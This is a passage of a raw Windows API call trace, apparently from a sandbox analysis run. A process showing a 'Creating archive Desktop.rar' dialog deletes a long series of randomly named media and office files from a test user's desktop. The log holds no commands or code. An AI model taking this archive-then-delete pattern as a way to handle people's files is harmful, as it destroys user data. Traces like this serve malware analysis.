lpMsg=0xe414dd5a0) returned 1 [0075.671] GetFocus () returned 0x2027a [0075.671] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.672] DeleteFileW (lpFileName="oOWu_URf4xodTCzItb.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\oowu_urf4xodtczitb.m4a")) returned 1 [0075.674] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.674] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.674] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.674] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.674] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.674] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.674] SetWindowTextW (hWnd=0x1028c, lpString="oOWu_URf4xodTCzItb.m4a") returned 1 [0075.675] GetTickCount () returned 0x28c38 [0075.675] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.675] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.675] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.675] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.675] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="oOWu_URf4xodTCzItb.m4a") returned 22 [0075.675] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.675] GetTickCount () returned 0x28c38 [0075.675] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16700407887) returned 1 [0075.675] GetTickCount () returned 0x28c38 [0075.676] GetTickCount () returned 0x28c38 [0075.676] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.676] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.676] GetFocus () returned 0x2027a [0075.676] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.676] DeleteFileW (lpFileName="mwUpgAicntsdXOa.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\mwupgaicntsdxoa.wav")) returned 1 [0075.677] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.677] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.677] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.677] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.678] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.678] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.678] SetWindowTextW (hWnd=0x1028c, lpString="mwUpgAicntsdXOa.wav") returned 1 [0075.678] GetTickCount () returned 0x28c38 [0075.678] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.678] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.678] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.679] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.679] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="mwUpgAicntsdXOa.wav") returned 19 [0075.679] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.679] GetTickCount () returned 0x28c38 [0075.679] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16700780096) returned 1 [0075.679] GetTickCount () returned 0x28c38 [0075.679] GetTickCount () returned 0x28c38 [0075.679] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.679] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.679] GetFocus () returned 0x2027a [0075.679] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.680] DeleteFileW (lpFileName="M6unjbqHC6Vi.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\m6unjbqhc6vi.avi")) returned 1 [0075.682] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.682] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.682] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.682] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.682] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.682] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.682] SetWindowTextW (hWnd=0x1028c, lpString="M6unjbqHC6Vi.avi") returned 1 [0075.683] GetTickCount () returned 0x28c48 [0075.683] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.683] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.683] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.683] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.683] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="M6unjbqHC6Vi.avi") returned 16 [0075.683] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.684] GetTickCount () returned 0x28c48 [0075.684] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16701235015) returned 1 [0075.684] GetTickCount () returned 0x28c48 [0075.684] GetTickCount () returned 0x28c48 [0075.684] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.684] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.684] GetFocus () returned 0x2027a [0075.684] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.684] DeleteFileW (lpFileName="kZvsWRlw_Unl_4-z2.png" (normalized: "c:\\users\\fd1hvy\\desktop\\kzvswrlw_unl_4-z2.png")) returned 1 [0075.777] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.778] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.778] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.778] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.778] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.778] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.778] SetWindowTextW (hWnd=0x1028c, lpString="kZvsWRlw_Unl_4-z2.png") returned 1 [0075.779] GetTickCount () returned 0x28ca6 [0075.779] UpdateWindow (hWnd=0x10284) returned 1 [0075.780] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.780] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.780] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.780] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.780] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="kZvsWRlw_Unl_4-z2.png") returned 21 [0075.780] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.780] GetTickCount () returned 0x28ca6 [0075.780] GetLastError () returned 0x0 [0075.781] SetLastError (dwErrCode=0x0) [0075.781] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0075.781] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0075.781] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 36%") returned 5 [0075.781] SetWindowTextW (hWnd=0x1028e, lpString=" 44%") returned 1 [0075.781] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x2c, lParam=0x0) returned 0x24 [0075.781] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16711007710) returned 1 [0075.781] GetTickCount () returned 0x28ca6 [0075.782] GetTickCount () returned 0x28ca6 [0075.782] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.782] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.782] GetFocus () returned 0x2027a [0075.782] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.782] DeleteFileW (lpFileName="kVcraZcrAD.png" (normalized: "c:\\users\\fd1hvy\\desktop\\kvcrazcrad.png")) returned 1 [0075.784] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.784] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.784] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.784] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.784] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.784] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.784] SetWindowTextW (hWnd=0x1028c, lpString="kVcraZcrAD.png") returned 1 [0075.785] GetTickCount () returned 0x28ca6 [0075.785] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.785] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.785] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.785] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.785] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="kVcraZcrAD.png") returned 14 [0075.785] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.785] GetTickCount () returned 0x28ca6 [0075.785] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16711408101) returned 1 [0075.785] GetTickCount () returned 0x28ca6 [0075.786] GetTickCount () returned 0x28ca6 [0075.786] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.786] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.786] GetFocus () returned 0x2027a [0075.786] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.786] DeleteFileW (lpFileName="Kd7Nt21v7fSUs0ibbZr.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\kd7nt21v7fsus0ibbzr.pdf")) returned 1 [0075.787] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.787] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.787] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.787] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.787] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.787] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.787] SetWindowTextW (hWnd=0x1028c, lpString="Kd7Nt21v7fSUs0ibbZr.pdf") returned 1 [0075.788] GetTickCount () returned 0x28ca6 [0075.788] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.788] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.788] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.788] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.788] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Kd7Nt21v7fSUs0ibbZr.pdf") returned 23 [0075.788] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.789] GetTickCount () returned 0x28ca6 [0075.789] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16711727857) returned 1 [0075.789] GetTickCount () returned 0x28ca6 [0075.789] GetTickCount () returned 0x28ca6 [0075.789] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.789] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.789] GetFocus () returned 0x2027a [0075.789] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.790] DeleteFileW (lpFileName="k5qtEIg5teHIWg.png" (normalized: "c:\\users\\fd1hvy\\desktop\\k5qteig5tehiwg.png")) returned 1 [0075.949] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.957] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.957] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.961] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.961] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.961] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.961] SetWindowTextW (hWnd=0x1028c, lpString="k5qtEIg5teHIWg.png") returned 1 [0075.962] GetTickCount () returned 0x28d52 [0075.962] UpdateWindow (hWnd=0x10284) returned 1 [0075.962] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.962] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.962] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.962] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.962] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="k5qtEIg5teHIWg.png") returned 18 [0075.962] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.962] GetTickCount () returned 0x28d52 [0075.962] GetLastError () returned 0x0 [0075.962] SetLastError (dwErrCode=0x0) [0075.963] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0075.963] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0075.963] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 44%") returned 5 [0075.963] SetWindowTextW (hWnd=0x1028e, lpString=" 51%") returned 1 [0075.963] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x33, lParam=0x0) returned 0x2c [0075.964] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16729271833) returned 1 [0075.964] GetTickCount () returned 0x28d61 [0075.964] GetTickCount () returned 0x28d61 [0075.964] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.964] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.964] GetFocus () returned 0x2027a [0075.964] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.965] DeleteFileW (lpFileName="jkHmqBwZLlx L8N.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jkhmqbwzllx l8n.m4a")) returned 1 [0075.966] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.966] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.967] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.967] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.967] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.967] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.967] SetWindowTextW (hWnd=0x1028c, lpString="jkHmqBwZLlx L8N.m4a") returned 1 [0075.967] GetTickCount () returned 0x28d61 [0075.967] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.968] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.968] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.968] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.968] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="jkHmqBwZLlx L8N.m4a") returned 19 [0075.968] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.968] GetTickCount () returned 0x28d61 [0075.968] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16729683078) returned 1 [0075.968] GetTickCount () returned 0x28d61 [0075.968] GetTickCount () returned 0x28d61 [0075.968] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.968] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.968] GetFocus () returned 0x2027a [0075.968] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.969] DeleteFileW (lpFileName="Jil3P9aQS_.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\jil3p9aqs_.avi")) returned 1 [0075.970] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.971] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.971] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.971] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.971] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.971] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.971] SetWindowTextW (hWnd=0x1028c, lpString="Jil3P9aQS_.avi") returned 1 [0075.972] GetTickCount () returned 0x28d61 [0075.972] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.972] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.972] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.972] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.972] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Jil3P9aQS_.avi") returned 14 [0075.972] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.972] GetTickCount () returned 0x28d61 [0075.972] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16730088895) returned 1 [0075.972] GetTickCount () returned 0x28d61 [0075.972] GetTickCount () returned 0x28d61 [0075.972] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.972] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.972] GetFocus () returned 0x2027a [0075.973] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.973] DeleteFileW (lpFileName="IaWqKnXFr.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\iawqknxfr.m4a")) returned 1 [0075.974] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.974] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.974] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.974] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.974] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.974] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.974] SetWindowTextW (hWnd=0x1028c, lpString="IaWqKnXFr.m4a") returned 1 [0075.975] GetTickCount () returned 0x28d61 [0075.975] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.975] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.975] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.975] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.975] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="IaWqKnXFr.m4a") returned 13 [0075.975] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.975] GetTickCount () returned 0x28d61 [0075.975] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16730408128) returned 1 [0075.975] GetTickCount () returned 0x28d61 [0075.976] GetTickCount () returned 0x28d61 [0075.976] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.976] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.976] GetFocus () returned 0x2027a [0075.976] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.977] DeleteFileW (lpFileName="Hx3Tlhe_5jId0OJhP6.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\hx3tlhe_5jid0ojhp6.pptx")) returned 1 [0075.977] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.977] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.978] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.978] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.978] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.978] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.978] SetWindowTextW (hWnd=0x1028c, lpString="Hx3Tlhe_5jId0OJhP6.pptx") returned 1 [0075.978] GetTickCount () returned 0x28d61 [0075.978] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.978] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.979] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.979] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.979] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Hx3Tlhe_5jId0OJhP6.pptx") returned 23 [0075.979] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.980] GetTickCount () returned 0x28d71 [0075.980] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16730822089) returned 1 [0075.980] GetTickCount () returned 0x28d71 [0075.980] GetTickCount () returned 0x28d71 [0075.980] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 0 [0075.980] DeleteFileW (lpFileName="hqk1KnpsNtd.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\hqk1knpsntd.mkv")) returned 1 [0075.981] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.981] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.981] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.981] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.981] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.981] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.981] SetWindowTextW (hWnd=0x1028c, lpString="hqk1KnpsNtd.mkv") returned 1 [0075.982] GetTickCount () returned 0x28d71 [0075.982] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.982] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.982] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.982] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.982] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="hqk1KnpsNtd.mkv") returned 15 [0075.982] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.982] GetTickCount () returned 0x28d71 [0075.982] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16731093647) returned 1 [0075.982] GetTickCount () returned 0x28d71 [0075.982] GetTickCount () returned 0x28d71 [0075.982] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 0 [0075.982] DeleteFileW (lpFileName="hh4lRnb.ods" (normalized: "c:\\users\\fd1hvy\\desktop\\hh4lrnb.ods")) returned 1 [0075.983] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.983] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.983] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.984] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.984] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.984] 